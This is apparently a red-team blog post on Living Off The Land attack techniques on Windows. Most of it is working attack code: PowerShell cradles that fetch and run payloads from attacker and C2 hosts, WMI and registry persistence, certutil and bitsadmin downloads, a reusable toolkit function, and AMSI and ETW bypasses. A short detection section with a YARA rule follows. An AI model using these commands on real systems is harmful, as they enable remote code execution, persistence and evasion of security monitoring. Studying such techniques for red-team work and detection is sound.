Living Off The Land: The Stealth Art of Red Team Operations
文章介绍了Living Off The Land (LOTL) 技术,利用Windows内置工具如PowerShell、WMI等进行隐秘攻击。通过内存执行脚本、WMI横向移动及Certutil下载payload等方式实现隐秘性和持久性。强调了其绕过杀软的能力,并提供了具体工具和技术示例。 2025-6-7 05:50:4 Author: infosecwriteups.com(查看原文) 阅读量:16 收藏

Master the advanced LOTL techniques that turn PowerShell, WMI, and built-in tools into silent cyber weapons

zerOiQ

What if I told you that the most dangerous cyber attacks don’t use custom malware or sophisticated exploits, but instead rely on tools that are already installed on every Windows computer? Welcome to the world of Living Off The Land (LOTL) techniques .

Living Off The Land is a technique where attackers use legitimate, built-in system tools and features to carry out malicious activities. Instead of dropping custom malware that antivirus might detect, skilled red teamers leverage PowerShell, WMI, Certutil.exe, and other native utilities to blend in with normal system activity.

Why LOTL is so effective:

  • Stealth: Uses trusted, signed binaries
  • Evasion: Bypasses most antivirus solutions
  • Persistence: Tools are always available on target systems
  • Legitimacy: Activity looks normal to defenders

1. PowerShell

PowerShell is every red teamer’s best friend, it’s powerful, flexible, and present on every modern Windows system.

Technique: In-Memory Script Execution

Instead of dropping files to disk, advanced red teamers execute scripts directly in memory:

# Download and execute a script without touching disk
IEX (New-Object Net.WebClient).DownloadString('http://attacker-server.com/payload.ps1')

# Alternative using Invoke-RestMethod
IEX (Invoke-RestMethod -Uri 'http://attacker-server.com/payload.ps1')

# Base64 encoded execution to avoid detection
$encoded = "SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AYQB0AHQAYQBjAGsAZQByAC0AcwBlAHIAdgBlAHIALgBjAG8AbQAvAHAAYQB5AGwAbwBhAGQALgBwAHMAMQAnACkA"
powershell.exe -EncodedCommand $encoded

Advanced Technique: PowerShell Empire Integration

PowerShell Empire is a post-exploitation framework that excels at LOTL techniques:

powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command "iex(New-Object System.Net.WebClient).DownloadString('http://192.168.1.100:8080/index.asp')"

2. Windows Management Instrumentation (WMI)

WMI is incredibly powerful for both reconnaissance and execution. It’s also heavily trusted by security tools.

Technique: WMI-Based Lateral Movement

# Execute commands on remote systems using WMI
$credential = Get-Credential
$session = New-CimSession -ComputerName "target-computer" -Credential $credential

# Execute a command remotely
Invoke-CimMethod -CimSession $session -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine="powershell.exe -Command 'whoami'"}

# Advanced: WMI Event Subscriptions for persistence
$filterName = 'SystemStartup'
$consumerName = 'SystemStartupConsumer'

# Create event filter (triggers on system startup)
$filter = Set-WmiInstance -Class __EventFilter -NameSpace "root\subscription" -Arguments @{
Name = $filterName
EventNameSpace = 'root\cimv2'
QueryLanguage = 'WQL'
Query = "SELECT * FROM Win32_VolumeChangeEvent WHERE EventType = 2"
}

# Create event consumer (what to execute)
$consumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments @{
Name = $consumerName
CommandLineTemplate = 'powershell.exe -WindowStyle Hidden -Command "IEX (New-Object Net.WebClient).DownloadString(\"http://c2-server.com/agent.ps1\")"'
}

# Bind filter to consumer
Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{
Filter = $filter
Consumer = $consumer
}

3. Certutil.exe — The Download Specialist

Certutil is officially for certificate management, but red teamers love it for downloading payloads:

# Download files using certutil
certutil.exe -urlcache -split -f "http://attacker-server.com/payload.exe" payload.exe

# Decode base64 files
certutil.exe -decode encoded_payload.txt payload.exe

# Advanced: Chain with other LOTL tools
certutil.exe -urlcache -split -f "http://attacker-server.com/script.ps1" script.ps1 && powershell.exe -ExecutionPolicy Bypass -File script.ps1

4. BITSAdmin Background Download Service

BITS (Background Intelligent Transfer Service) is perfect for stealthy downloads:

# Create a BITS job for downloading
bitsadmin.exe /transfer myDownloadJob /download /priority high "http://attacker-server.com/payload.exe" "C:\temp\payload.exe"

# Advanced: Persistent BITS job
bitsadmin.exe /create BackgroundUpdate
bitsadmin.exe /addfile BackgroundUpdate "http://attacker-server.com/update.exe" "C:\temp\update.exe"
bitsadmin.exe /SetNotifyCmdLine BackgroundUpdate "C:\temp\update.exe" ""
bitsadmin.exe /resume BackgroundUpdate

Advanced LOTL Techniques

Technique 1: Process Hollowing with Native Tools

Process hollowing allows attackers to run malicious code inside legitimate processes:

# Advanced PowerShell process hollowing technique
$code = @"
using System;
using System.Runtime.InteropServices;

public class ProcessHollow {
[DllImport("kernel32.dll")]
public static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, uint dwProcessId);

[DllImport("kernel32.dll")]
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out uint lpNumberOfBytesWritten);

// Additional API imports for complete process hollowing...
}
"@

Add-Type -TypeDefinition $code
# Implementation continues...

Technique 2: Registry-Based Persistence

Using Windows Registry for stealth persistence:

# Create registry key for persistence
$regPath = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
$name = "SecurityUpdate"
$value = 'powershell.exe -WindowStyle Hidden -Command "IEX (New-Object Net.WebClient).DownloadString(\"http://c2-server.com/agent.ps1\")"'

Set-ItemProperty -Path $regPath -Name $name -Value $value

# Advanced: Using less monitored registry locations
$advPath = "HKCU:\Software\Classes\ms-settings\Shell\Open\command"
New-Item -Path $advPath -Force
Set-ItemProperty -Path $advPath -Name "(Default)" -Value $value
Set-ItemProperty -Path $advPath -Name "DelegateExecute" -Value ""

What Defenders Should Monitor

Advanced Detection: Behavioral Analysis

# YARA rule for detecting suspicious PowerShell patterns
rule Suspicious_PowerShell_LOTL {
strings:
$s1 = "IEX" nocase
$s2 = "DownloadString" nocase
$s3 = "-EncodedCommand" nocase
$s4 = "-WindowStyle Hidden" nocase
$s5 = "New-Object Net.WebClient" nocase

condition:
2 of them
}

Tools and Frameworks for LOTL

Essential Red Team Frameworks

Covenant C2 Framework

  • Excellent LOTL integration
  • .NET-based payloads
  • Strong operational security features

Cobalt Strike

  • Industry standard for red teams
  • Excellent beacon technology
  • Built-in LOTL techniques

Empire/Starkiller

  • Pure PowerShell framework
  • Extensive LOTL modules
  • Strong post-exploitation capabilities

Custom LOTL Toolkit Script

# RedTeam LOTL Toolkit
function Invoke-LOTLToolkit {
[CmdletBinding()]
param(
[Parameter(Mandatory=$true)]
[string]$Target,

[Parameter(Mandatory=$true)]
[string]$PayloadURL,

[ValidateSet("Download","Execute","Persist")]
[string]$Action = "Execute"
)

switch ($Action) {
"Download" {
# Use multiple LOTL download methods
try {
certutil.exe -urlcache -split -f $PayloadURL payload.exe
Write-Output "[+] Downloaded via certutil"
} catch {
bitsadmin.exe /transfer job1 /download /priority high $PayloadURL payload.exe
Write-Output "[+] Downloaded via bitsadmin"
}
}

"Execute" {
# In-memory execution
IEX (New-Object Net.WebClient).DownloadString($PayloadURL)
Write-Output "[+] Executed in memory"
}

"Persist" {
# Registry persistence
$regPath = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
$value = "powershell.exe -WindowStyle Hidden -Command `"IEX (New-Object Net.WebClient).DownloadString('$PayloadURL')`""
Set-ItemProperty -Path $regPath -Name "SecurityUpdate" -Value $value
Write-Output "[+] Persistence established"
}
}
}

# Usage examples:
# Invoke-LOTLToolkit -Target "192.168.1.100" -PayloadURL "http://c2-server.com/agent.ps1" -Action "Execute"

Real-World LOTL Case Studies :

Case Study 1: APT29 (Cozy Bear)

APT29 extensively uses LOTL techniques:

  • PowerShell for in-memory execution
  • WMI for lateral movement
  • Legitimate cloud services for C2 communication

Case Study 2: FIN7 Group

FIN7 is known for sophisticated LOTL campaigns:

  • JavaScript and VBScript for initial access
  • PowerShell for payload delivery
  • Built-in Windows tools for persistence

Best Practices for Red Teams

Operational Security (OPSEC)

  1. Randomize timing between commands
  2. Use legitimate infrastructure (cloud providers, CDNs)
  3. Implement proper cleanup procedures
  4. Monitor blue team activities and adjust tactics

Advanced Evasion Techniques

# AMSI (Anti-Malware Scan Interface) bypass
$a = [Ref].Assembly.GetTypes()
$b = $a | Where-Object {$_.Name -like "*iUtils"}
$c = $b.GetFields('NonPublic,Static')
$d = $c | Where-Object {$_.Name -like "*Context"}
$d.SetValue($null, [IntPtr]::Zero)

# ETW (Event Tracing for Windows) bypass
$etw = [Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider')
$etwField = $etw.GetField('etwProvider','NonPublic,Static')
$EventProvider = New-Object System.Diagnostics.Eventing.EventProvider([Guid]::NewGuid())
$etwField.SetValue($null, $EventProvider)

Key takeaways for red teamers:

  • Master PowerShell and WMI deeply
  • Always prioritize stealth over speed
  • Chain multiple LOTL techniques for maximum effectiveness
  • Keep operational security at the forefront

For defenders:

  • Implement comprehensive logging and monitoring
  • Focus on behavioral detection, not just signatures
  • Understand these techniques to defend against them
  • Remember: if it exists on your system, attackers can use it

Living Off The Land techniques represent the evolution of red teaming from noisy, detectable attacks to surgical, stealthy operations. As defenders improve their detection capabilities, red teamers continue to innovate with these native tools.

The cat-and-mouse game between red and blue teams continues, but with LOTL techniques, red teamers have found a way to hide in plain sight using the very tools designed to help us manage our systems.


文章来源: https://infosecwriteups.com/living-off-the-land-the-stealth-art-of-red-team-operations-1d65cf390792?source=rss----7b722bfd1b8d---4
如有侵权请联系:admin#unsafe.sh